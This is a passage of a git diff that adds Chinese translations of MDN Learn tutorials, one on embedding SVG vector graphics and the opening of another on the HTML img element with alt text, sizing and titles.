Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<div class="summary"> +<p>矢量图形在很多情况下非常有用 — 它们拥有较小的文件尺寸,却高度可缩放,所以它们不会在镜头拉近或者放大图像时像素化。在这篇文章中,我们将为您呈现如何在网页中添加矢量图形。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>你需要了解 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML的基本知识</a> 并且知道如何 <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">在你的文档中插入图片</a>.</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解如何嵌入 SVG (矢量) 图形到网页中。</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><span style="font-size: 14px;"><strong>提示:</strong></span> 本文的目的并不是教你 SVG;仅仅是告诉你它是什么,以及如何在网页中添加它。</p> +</div> + +<h2 id="什么是矢量图形?">什么是矢量图形?</h2> + +<p>在网上,你会和两种类型的图片打交道 — 位图和矢量图:</p> + +<ul> + <li>位图使用像素网格来定义 — 一个位图文件精确得包含了每个像素的位置和它的色彩信息。流行的位图格式包括 Bitmap (<code>.bmp</code>), PNG (<code>.png</code>), JPEG (<code>.jpg</code>), and GIF (<code>.gif</code>.)</li> + <li>矢量图使用算法来定义 — 一个矢量图文件包含了图形和路径的定义,电脑可以根据这些定义计算出当它们在屏幕上渲染时应该呈现的样子。 {{glossary("SVG")}} 格式可以让我们创造用于 Web 的精彩的矢量图形。</li> +</ul> + +<p>为了让你清楚的认识到两者的区别,我们来一个例子。你可以在我们的 Github 仓库中在线查看这个例子:<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/adding-vector-graphics-to-the-web/vector-versus-raster.html">vector-versus-raster.html</a> — 它并排展示了两个看起来一致的图像,一个红色的五角星以及黑色的阴影。不同的是,左边的是 PNG,而右边的是 SVG 图像。</p> + +<p>当你放大网页的时候,区别就会变得明显起来 — 随着你的放大,PNG 图片变得像素化了,因为它存储是每个像素的颜色和位置信息 — 当它被放大时,每个像素就被放大以填满屏幕上更多的像素,所以图像就会开始变得马赛克感觉。矢量图像看起来仍然效果很好且清晰,因为无论它的尺寸如何,都使用算法来计算出图像的形状,仅仅是根据放大的倍数来调整算法中的值。</p> + +<p><img alt="Two star images, one raster and one vector. At their default size they look identical" src="https://mdn.mozillademos.org/files/12866/raster-vector-default-size.png" style="display: block; height: 112px; margin: 0px auto; width: 223px;"></p> + +<p><img alt="Two star images zoomed in. The raster one on the left starts to look pixellated, whereas the vector one still looks crisp." src="https://mdn.mozillademos.org/files/12868/raster-vector-zoomed.png" style="display: block; height: 328px; margin: 0px auto; width: 677px;"></p> + +<div class="note"> +<p><strong>注意</strong>: 上面的图片实际上都是 PNG 图片 —— 每个例子中左边的图片代表光栅图片,右边的星星代表矢量图。还有,访问 <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/adding-vector-graphics-to-the-web/vector-versus-raster.html">vector-versus-raster.html</a> 示例来查看真正的例子!</p> +</div> + +<p>此外,矢量图形相较于同样的位图,通常拥有更小的体积,因为它们仅需储存少量的算法,而不是逐个储存每个像素的信息。</p> + +<h2 id="SVG是什么?">SVG是什么?</h2> + +<p><a href="/zh-CN/docs/Web/SVG">SVG</a> 是用于描述矢量图像的{{glossary("XML")}}语言。 它基本上是像HTML一样的标记,只是你有许多不同的元素来定义要显示在图像中的形状,以及要应用于这些形状的效果。 SVG用于标记图形,而不是内容。 非常简单,你有一些元素来创建简单图形,如{{svgelement("circle")}} 和{{svgelement("rect")}}。更高级的SVG功能包括 {{svgelement("feColorMatrix")}}(使用变换矩阵转换颜色){{svgelement("animate")}} (矢量图形的动画部分)和 {{svgelement("mask")}}(在图像顶部应用模板)</p> + +<p>作为一个简单的例子,以下代码创建一个圆和一个矩形:</p> + +<pre class="brush: html notranslate"><svg version="1.1" + baseProfile="full" + width="300" height="200" + xmlns="http://www.w3.org/2000/svg"> + <rect width="100%" height="100%" fill="black" /> + <circle cx="150" cy="100" r="90" fill="blue" /> +</svg></pre> + +<p>这将创建以下输出:(如果无法查看图片,<a href="https://mdn.mozillademos.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web$samples/What_is_SVG?revision=1467150">这里</a>)<img alt="" src="https://mdn.mozillademos.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web$samples/What_is_SVG?revision=1467150" style="height: 100px; width: 100px;"></p> + +<p>{{ EmbedLiveSample('What_is_SVG', 300, 200, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>从上面的例子可以看出,SVG很容易手工编码。 是的,您可以在文本编辑器中手动编写简单的SVG,但是对于复杂的图像,这很快就开始变得非常困难。 为了创建SVG图像,大多数人使用矢量图形编辑器,如 <a href="https://inkscape.org/en/">Inkscape</a> 或 <a href="https://en.wikipedia.org/wiki/Adobe_Illustrator">Illustrator</a>。 这些软件包允许您使用各种图形工具创建各种插图,并创建照片的近似值(例如Inkscape的跟踪位图功能)。</p> + +<p>SVG除了迄今为止所描述的以外还有其他优点:</p> + +<ul> + <li>矢量图像中的文本仍然可访问(这也有利于 {{glossary("SEO")}}))。</li> + <li>SVG 可以很好地适应样式/脚本,因为图像的每个组件都是可以通过CSS或通过JavaScript编写的样式的元素。</li> +</ul> + +<p>那么为什么会有人想使用光栅图形而不是SVG? 其实 SVG 确实有一些缺点:</p> + +<ul> + <li>SVG非常容易变得复杂,这意味着文件大小会增加; 复杂的SVG也会在浏览器中占用很长的处理时间。</li> + <li>SVG可能比栅格图像更难创建,具体取决于您尝试创建哪种图像。</li> + <li>旧版浏览器不支持SVG,因此如果您需要在网站上支持旧版本的 IE,则可能不适合(SVG从IE9开始得到支持)。</li> +</ul> + +<p>由于上述原因,光栅图形更适合照片那样复杂精密的图像。</p> + +<div class="note"> +<p><strong>注意:</strong>在Inkscape中,将文件保存为纯SVG以节省空间。 另请参阅<a href="http://tavmjong.free.fr/INKSCAPE/MANUAL/html/Web-Inkscape.html">如何为Web准备SVG</a>。</p> +</div> + +<h2 id="将SVG添加到页面">将SVG添加到页面</h2> + +<p>在本节中,我们将介绍将SVG矢量图形添加到网页的不同方式。</p> + +<h3 id="快捷方式:htmlelementimg">快捷方式:{{htmlelement("img")}}</h3> + +<p>要通过 {{htmlelement("img")}}元素嵌入SVG,你只需要按照预期的方式在 src 属性中引用它。你将需要一个<code>height</code>或<code>width</code>属性(或者如果您的SVG没有固有的宽高比)。如果您还没使用过<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><img></span></font>元素,请阅读<a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML中的图片</a>教程 。</p> + +<pre class="brush: html notranslate"><img + src="equilateral.svg" + alt="triangle with all three sides equal" + height="87px" + width="100px" /> +</pre> + +<h4 id="优点">优点</h4> + +<ul> + <li>快速,熟悉的图像语法与<code>alt</code>属性中提供的内置文本等效。</li> + <li>可以通过在{{htmlelement("a")}}元素嵌套<code><img></code>,使图像轻松地成为超链接。</li> +</ul> + +<h4 id="缺点">缺点</h4> + +<ul> + <li>无法使用JavaScript操作图像。</li> + <li>如果要使用CSS控制SVG内容,则必须在SVG代码中包含内联CSS样式。 (从SVG文件调用的外部样式表不起作用)</li> + <li>不能用CSS伪类来重设图像样式(如<code>:focus</code>)。</li> +</ul> + +<h3 id="疑难解答和跨浏览器支持">疑难解答和跨浏览器支持</h3> + +<p>对于不支持SVG(IE 8及更低版本,Android 2.3及更低版本)的浏览器,您可以从<code>src</code>属性引用PNG或JPG,并使用{{htmlattrxref("srcset", "img")}}属性 只有最近的浏览器才能识别)来引用SVG。 在这种情况下,仅支持浏览器将加载SVG - 较旧的浏览器将加载PNG:</p> + +<pre class="brush: html notranslate"><img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"> +</pre> + +<p>您还可以使用SVG作为CSS背景图像,如下所示。 在下面的代码中,旧版浏览器会坚持他们理解的PNG,而较新的浏览器将加载SVG:</p> + +<pre class="brush: css notranslate"><code>background: url("fallback.png") no-repeat center;</code> +background<code>-image: url("image.svg"); +background-size: contain;</code></pre> + +<p>像上面描述的<code><img></code>方法一样,使用 CSS 背景图像插入SVG 意味着它不能被 JavaScript 操作,并且也受到相同的 CSS 限制。</p> + +<p>如果 SVG 根本没有显示,可能是因为你的服务器设置不正确。 如果是这个问题,<a href="/zh-CN/docs/Web/SVG/Tutorial/Getting_Started#A_Word_on_Webservers">这篇文章</a>将告诉你正确方向。</p> + +<h3 id="如何在HTML中引入SVG代码">如何在HTML中引入SVG代码</h3> + +<p><br> + 你还可以在文本编辑器中打开SVG文件,复制SVG代码,并将其粘贴到HTML文档中 - 这有时称为将<strong>SVG内联</strong>或<strong>内联SVG</strong>。确保您的SVG代码在<code><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg"><svg></svg></a></code>标签中(不要在外面添加任何内容)。这是一个非常简单的示例,您可以粘贴到文档中:</p> + +<pre class="brush: html notranslate"><svg width="300" height="200"> + <rect width="100%" height="100%" fill="green" /> +</svg> +</pre> + +<h4 id="优点_2">优点</h4> + +<ul> + <li>将 SVG 内联减少 HTTP 请求,可以减少加载时间。</li> + <li>您可以为 SVG 元素分配<code>class</code>和<code>id</code>,并使用 CSS 修改样式,无论是在SVG中,还是 HTML 文档中的 CSS 样式规则。 实际上,您可以使用任何 <a href="/zh-CN/docs/Web/SVG/Attribute#Presentation_attributes">SVG外观属性</a> 作为CSS属性。</li> + <li>内联SVG是唯一可以让您在SVG图像上使用CSS交互(如<code>:focus</code>)和CSS动画的方法(即使在常规样式表中)。</li> + <li>您可以通过将 SVG 标记包在{{htmlelement("a")}}元素中,使其成为超链接。</li> +</ul> + +<h4 id="缺点_2">缺点</h4> + +<ul> + <li>这种方法只适用于在一个地方使用的SVG。多次使用会导致资源密集型维护(resource-intensive maintenance)。</li> + <li>额外的 SVG 代码会增加HTML文件的大小。</li> + <li>浏览器不能像缓存普通图片一样缓存内联SVG。</li> + <li>您可能会在{{svgelement("foreignObject")}} 元素中包含回退,但支持 SVG 的浏览器仍然会下载任何后备图像。你需要考虑仅仅为支持过时的浏览器,而增加额外开销是否真的值得。</li> +</ul> + +<ul> +</ul> + +<h3 id="如何使用_htmlelementiframe_嵌入SVG">如何使用 {{htmlelement("iframe")}} 嵌入SVG</h3> + +<p>您可以在浏览器中打开 SVG 图像,就像网页一样。 因此,使用<code><iframe></code>嵌入 SVG 文档就像我们在 <a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/其他嵌入技术">从对象到iframe - 其他嵌入技术</a> 中进行研究一样。</p> + +<p>这是一个快速回顾:</p> + +<pre class="brush: html notranslate"><iframe src="triangle.svg" width="500" height="500" sandbox> + <img src="triangle.png" alt="Triangle with three unequal sides" /> +</iframe></pre> + +<p>这绝对不是最好的方法:</p> + +<h4 id="缺点_3">缺点</h4> + +<ul> + <li>如你所知, <code>iframe</code>有一个回退机制,如果浏览器不支持<code>iframe</code>,则只会显示回退。</li> + <li>此外,除非 SVG 和您当前的网页具有相同的 {{glossary('origin')}},否则你不能在主页面上使用 JavaScript 来操纵 SVG。</li> +</ul> + +<h2 id="动手学习:使用SVG">动手学习:使用SVG</h2> + +<p>在这个动手学习部分中,我们希望你能够体验一下 SVG 的乐趣。 在下面的“input”部分,您将看到我们已经提供了一些样例来开始使用。 您还可以访问 <a href="/zh-CN/docs/Web/SVG/Element">SVG元素参考</a>,了解更多关于SVG可以使用的其他玩具的细节,也可以尝试一下。 这部分都是为了锻炼你的研究技巧,并且有一些乐趣。</p> + +<p>如果你卡住了,无法使你的代码工作,你可以随时使用 Reset 按钮进行重置。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><code><h2>Live output</h2> + +<div class="output" style="min-height: 50px;"> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> + +<textarea id="code" class="input" style="width: 95%;min-height: 200px;"> + <svg width="100%" height="100%"> + <rect width="100%" height="100%" fill="red" /> + <circle cx="100%" cy="100%" r="150" fill="blue" stroke="black" /> + <polygon points="120,0 240,225 0,225" fill="green"/> + <text x="50" y="100" font-family="Verdana" font-size="55" + fill="white" stroke="black" stroke-width="2"> + Hello! + </text> + </svg> +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution" disabled> +</div></code></pre> + +<pre class="brush: css notranslate"><code>html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</code></pre> + +<pre class="brush: js notranslate"><code>var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var output = document.querySelector('.output'); +var code = textarea.value; +var userEntry = textarea.value; + +function updateCode() { + output.innerHTML = textarea.value; +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = htmlSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +var htmlSolution = ''; +var solutionEntry = htmlSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + var scrollPos = textarea.scrollTop; + var caretPos = textarea.selectionStart; + + var front = (textarea.value).substring(0, caretPos); + var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</code></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="总结">总结</h2> + +<p>本文提供了一个矢量图形和 SVG 的快速浏览,让你了解他们的作用,以及如何在网页中引入 SVG。 它从来没有打算成为学习 SVG 的完整教程,只是一个指南,让你在网上遇到 SVG 时知道它是什么。 所以不要觉得你不是一个 SVG 专家而担心。如果你想了解更多关于它的工作原理,我们在下面列出了一些可能会帮助您的信息。</p> + +<p>在本模块的最后一篇文章中,我们将详细探索响应式图像,查看 HTML 可以让您的图像在不同设备上更好地适配。</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Getting_Started">SVG tutorial</a> on MDN</li> + <li><a href="http://thenewcode.com/744/Making-SVG-Responsive">Quick tips for responsive SVGs</a></li> + <li><a href="http://tympanus.net/codrops/2014/08/19/making-svgs-responsive-with-css/">Sara Soueidan's tutorial on responsive SVG images</a></li> + <li><a href="http://www.w3.org/TR/SVG-access/">Accessibility benefits of SVG</a></li> + <li><a href="https://css-tricks.com/scale-svg/">How to scale SVGs </a> (它不像光栅图形那么简单!)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</p> + + + +<h2 id="在这个模块中">在这个模块中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">From <object> to <iframe> — other embedding technologies</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adding vector graphics to the Web</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla splash page</a></li> +</ul> diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/images_in_html/index.html new file mode 100644 index 0000000000..78b73be90b --- /dev/null +++ b/files/zh-cn/learn/html/multimedia_and_embedding/images_in_html/index.html @@ -0,0 +1,476 @@ +--- +title: HTML中的图片 +slug: Learn/HTML/Multimedia_and_embedding/Images_in_HTML +translation_of: Learn/HTML/Multimedia_and_embedding/Images_in_HTML +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<p class="summary">在一开始时,Web仅有文本,那真的是很无趣。幸运的是,没过多久网页上就能嵌入图片和其他有趣的内容了。虽然还有许多其他类型的多媒体,但是从地位比较低的{{htmlelement("img")}}元素开始是符合逻辑的,它常常被用来在网页中嵌入一张简单的图片。在这篇文章中,我们将看到怎样深入的使用它,包括基本的用{{htmlelement("figure")}}来添加说明文字,以及怎样把它和CSS背景图片链接起来。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>掌握基本的电脑知识,<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基本软件</a>,基本的<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a>知识,熟悉<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML基础</a></td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>学习如何在 HTML 页面插入简单的图片,为图片添加简单的说明,以及 CSS 背景图片与 HTML 图片的关系。</td> + </tr> + </tbody> +</table> + +<h2 id="怎样将一幅图片放到网页上">怎样将一幅图片放到网页上?</h2> + +<p>我们可以用{{htmlelement("img")}} 元素来把图片放到网页上。它是一个空元素(它不需要包含文本内容或闭合标签),最少只需要一个 <code>src</code> (一般读作其全称 <em>source)</em>来使其生效。<code>src</code> 属性包含了指向我们想要引入的图片的路径,可以是相对路径或绝对URL,就像 {{htmlelement("a")}} 元素的 <code>href</code> 属性一样。</p> + +<div class="note"> +<p><strong>注意:</strong>在继续之前,你应该阅读<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#URLs与路径(path)快速入门">快速入门URL和路径</a>来复习一下相对和绝对URL。</p> +</div> + +<p>举个例子来看,如果你有一幅文件名为 <code>dinosaur.jpg</code> 的图片,且它与你的 HTML 页面存放在相同路径下,那么你可以这样嵌入它:</p> + +<pre class="brush: html"><img src="dinosaur.jpg"></pre> + +<p>如果这张图片存储在和 HTML 页面同路径的 <code>images</code> 文件夹下(这也是Google推荐的做法,利于{{glossary("SEO")}}/索引),那么你可以采用如下形式:</p> + +<pre class="brush: html"><img src="images/dinosaur.jpg"></pre> + +<p>以此类推。</p> + +<div class="note"> +<p><strong>注意:</strong>搜索引擎也读取图像的文件名并把它们计入SEO。因此你应该给你的图片取一个描述性的文件名:<code>dinosaur.jpg</code> 比 <code>img835.png </code>要好。</p> +</div> + +<p>你也可以像下面这样使用绝对路径:</p> + +<pre class="brush: html"><img src="https://www.example.com/images/dinosaur.jpg"></pre> + +<p>但是这种方式是不被推荐的,这样做只会使浏览器做更多的工作,例如重新通过 DNS 再去寻找 IP 地址。通常我们都会把图片和 HTML 放在同一个服务器上。</p> + +<div class="warning"> +<p><strong>警告:</strong>大多数图片是有版权的。<strong>不要</strong>在你的网页上使用一张图片,除非:</p> + +<ol> + <li>你是图片版权所有者</li> + <li>你有图片版权所有者明确的、书面上的使用授权</li> + <li>你有充分的证据证明这张图片是公共领域内的</li> +</ol> + +<p>侵犯版权是违法并且不道德的。此外,在得到授权之前<strong>永远不要</strong>把你的<code>src</code>属性指向其他人网站上的图片。这被称为"盗链(hotlinking)"。同样,盗取其他人的带宽也是违法的。而且这会降低你的页面的加载速度,而且图片可能会在不受你控制的情况下被移走或用别的令人尴尬的东西替换掉。</p> +</div> + +<p>我们上面的代码会展示如下的结果页面:</p> + +<p><img alt="A basic image of a dinosaur, embedded in a browser, with Images in HTML written above it" src="https://mdn.mozillademos.org/files/12700/basic-image.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p> + +<div class="note"> +<p><strong>注意:</strong>像{{htmlelement("img")}}和{{htmlelement("video")}}这样的元素有时被称之为<strong>替换元素</strong>,因为这样的元素的内容和尺寸由外部资源(像是一个图片或视频文件)所定义,而不是元素自身。</p> +</div> + +<div class="note"> +<p><strong>注意:</strong>你可以在<a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/images-in-html/index.html">GitHub上的这个网页</a>看到这个例子的运行结果(也可以看到<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/images-in-html/index.html">源码</a>)。</p> +</div> + +<h3 id="备选文本">备选文本</h3> + +<p>下一个我们讨论的属性是 <code>alt</code> ,它的值应该是对图片的文字描述,用于在图片无法显示或不能被看到的情况。例如,上面的例子可以做如下改进:</p> + +<pre class="brush: html"><img src="images/dinosaur.jpg" + alt="The head and torso of a dinosaur skeleton; + it has a large head with long sharp teeth"></pre> + +<p>测试<code>alt</code> 属性最简单的方式就是故意拼错图片文件名,这样浏览器就无法找到该图片从而显示备选的文本。如果我们将上例的图片文件名改为 <code>dinosooooor.jpg</code>,浏览器就不能显示图片,而显示:</p> + +<p><img alt="The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place." src="https://mdn.mozillademos.org/files/12702/alt-text.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p> + +<p>那么,为什么我们需要备选文本呢?它可以派上用场的原因有很多:</p> + +<ul> + <li>用户有视力障碍,通过<a href="https://zh.wikipedia.org/wiki/%E8%9E%A2%E5%B9%95%E9%96%B1%E8%AE%80%E5%99%A8">屏幕阅读器</a>来浏览网页 。事实上,给图片一个备选的描述文本对大多数用户都是很有用的。</li> + <li>就像上面所说的,你也许会把图片的路径或文件名拼错。</li> + <li>浏览器不支持该图片类型。某些用户仍在使用纯文本的浏览器,例如 <a href="https://en.wikipedia.org/wiki/Lynx_%28web_browser%29">Lynx</a>,这些浏览器会把图片替换为描述文本。</li> + <li>你会想提供一些文字描述来给搜索引擎使用,例如搜索引擎可能会将图片的文字描述和查询条件进行匹配。</li> + <li>用户关闭的图片显示以减少数据的传输,这在手机上是十分普遍的,并且在一些国家带宽有限且昂贵。</li> +</ul> + +<p>你到底应该在 <code>alt</code> 里写点什么呢?这首先取决于为什么这张图片会在这儿,换句话说,如果这张图片没显示出来,会少了什么:</p> + +<ul> + <li><strong>装饰:</strong>如果图片只是用于装饰,而不是内容的一部分,可以写一个空的<code>alt=""</code> 。例如,屏幕阅读器不会浪费时间对用户读出不是核心需要的内容。实际上装饰性图片就不应该放在HTML文件里, {{anch("CSS background images")}}才应该用于插入装饰图片,但如果这种情况无法避免, <code>alt=""</code>会是最佳处理方案。</li> + <li><strong>内容:</strong>如果你的图片提供了重要的信息,就要在<code>alt</code>文本中简要的提供相同的信息,甚至更近一步,把这些信息写在主要的文本内容里,这样所有人都能看见。不要写冗余的备选文本(如果在主要文本中将所有的段落都重复两遍,对于没有失明的用户来说多烦啊!),如果在主要文本中已经对图片进行了充分的描述,写<code>alt=""</code>就好。</li> + <li><strong>链接:</strong>如果你把图片嵌套在{{htmlelement("a")}}标签里,来把图片变成链接,那你还必须<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#用清晰的链接措辞。">提供无障碍的链接文本</a>。在这种情况下,你可以写在同一个<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><a></span></font>元素里,或者写在图片的<code>alt</code>属性里,随你喜欢。</li> + <li><strong>文本:</strong>你不应该将文本放到图像里。例如,如果你的主标题需要有阴影,你可以<a href="/zh-CN/docs/Web/CSS/text-shadow">用CSS</a>来达到这个目的,而不是把文本放到图片里。如果真的必须这么做,那就把文本也放到<code>alt</code>里。</li> +</ul> + +<p>本质上,关键在于在图片无法被看见时也提供一个可用的体验,这确保了所有人都不会错失一部分内容。尝试在浏览器中使图片不可见然后看看网页变成什么样了,你会很快意识到在图片无法显示时备选文本能帮上多大忙。</p> + +<div class="note"> +<p><strong>注意:</strong>想知道更多,可以看我们的<a href="https://developer.mozilla.org/zh-CN/docs/learn/Accessibility/HTML:%E4%B8%BA%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7%E6%8F%90%E4%BE%9B%E4%B8%80%E4%B8%AA%E8%89%AF%E5%A5%BD%E7%9A%84%E5%9F%BA%E7%A1%80#%E6%96%87%E6%9C%AC%E6%9B%BF%E4%BB%A3%E5%93%81">备选文本</a>指南</p> +</div> + +<h3 id="宽度和高度">宽度和高度</h3> + +<p>你可以用宽度和高度属性来指定你的图片的高度和宽度(你可以用多种方式找到你的图片的宽度和高度,例如在Mac上,你可以用 <kbd>Cmd</kbd> + <kbd>I</kbd> 来得到显示的图片文件的信息)回到我们的例子,你可以这样做:</p> + +<pre class="brush: html"><img src="images/dinosaur.jpg" + alt="一只恐龙头部和躯干的骨架,它有一个巨大的头,长着锋利的牙齿。" + width="400" + height="341"></pre> + +<p>在正常的情况下,这不会对显示产生很大的影响, 但是如果图片没有显示(例如用户刚刚开始浏览网页,但是图片还没有加载完成),你会注意到浏览器会为要显示的图片留下一定的空间:</p> + +<p><img alt="The Images in HTML title, with dinosaur alt text, displayed inside a large box that results from width and height settings" src="https://mdn.mozillademos.org/files/12706/alt-text-with-width-height.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p> + +<p>这是一件好事情——这使得页面加载的更快速更流畅。</p> + +<p>然而,你不应该使用HTML属性来改变图片的大小。如果你把尺寸设定的太大,最终图片看起来会模糊;如果太小,会在下载远远大于你需要的图片时浪费带宽。如果你没有保持正确的<a href="https://zh.wikipedia.org/wiki/%E9%95%B7%E5%AF%AC%E6%AF%94_(%E5%BD%B1%E5%83%8F)">宽高比</a>,图片可能看起来会扭曲。在把图片放到你的网站页面之前,你应该使用图形编辑器使图片的尺寸正确。</p> + +<div class="note"> +<p><strong>注意:</strong>如果你需要改变图片的尺寸,你应该使用<a href="/zh-CN/docs/Learn/CSS">CSS</a>而不是HTML。</p> +</div> + +<h3 id="Image_titles_图片标题">Image titles 图片标题</h3> + +<p>类似于<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#使用<title>添加支持信息">超链接</a>,你可以给图片增加<code>title</code>属性来提供需要更进一步的支持信息。在我们的例子中,可以这样做:</p> + +<pre class="brush: html"><img src="images/dinosaur.jpg" + alt="一只恐龙头部和躯干的骨架,它有一个巨大的头,长着锋利的牙齿。" + width="400" + height="341" + title="A T-Rex on display in the Manchester University Museum"></pre> + +<p>这会给我们一个鼠标悬停提示,看起来就像链接标题:</p> + +<p><img alt="The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum " src="https://mdn.mozillademos.org/files/12708/image-with-title.png" style="display: block; height: 341px; margin: 0px auto; width: 400px;"></p> + +<p>图片标题并不必须要包含有意义的信息,通常来说,将这样的支持信息放到主要文本中而不是附着于图片会更好。不过,在有些环境中这样做更有用,比如当没有空间显示提示时,也就是在图片栏中。</p> + +<p>然而,这并不是推荐的——title有很多易访问性问题,主要是基于这样一个事实,即屏幕阅读器的支持是不可预测的,大多数浏览器都不会显示它,除非您在鼠标悬停时(例如:title无法访问键盘用户),如果你对更多的信息感兴趣,阅读<a href="https://www.24a11y.com/2017/the-trials-and-tribulations-of-the-title-attribute/" rel="noopener">The Trials and Tribulations of the Title Attribute</a> by Scott O'Hara.</p> + +<h3 id="动手练习:嵌入一张图片">动手练习:嵌入一张图片</h3> + +<p>好,轮到你了!在这个动手练习中, 我们希望你可以做一个简单的嵌入图片练习。 你有一个基本的 {{htmlelement("img")}} 标签; 我们希望你可以把下面这个 URL 所指向的图片嵌入到 HTML 中:</p> + +<p>https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg</p> + +<p>之前我们说过永远不要从其他服务器热链接图片,但这次只是出于学习目的,所以我们会允许你这么做一次。</p> + +<p>我们还希望你可以:</p> + +<ul> + <li>添加 <code>alt</code>文字,添加完成后,可以故意把 URL 写错,来检查 {{htmlelement("alt")}} 的效果。</li> + <li>设置图片正确的 <code>width</code> 和 <code>height</code> 属性(提示:宽 200px,高 171px),然后再将宽和高的值进行改变,看看会有什么影响.</li> + <li>在图片上设置 <code>title</code> 属性。</li> +</ul> + +<p>如果你遇到了错误,你可以按 reset 按钮来重置。如果你遇到了困难无法完成, 按下 Show solution 按钮来看一下答案。</p> + +<div 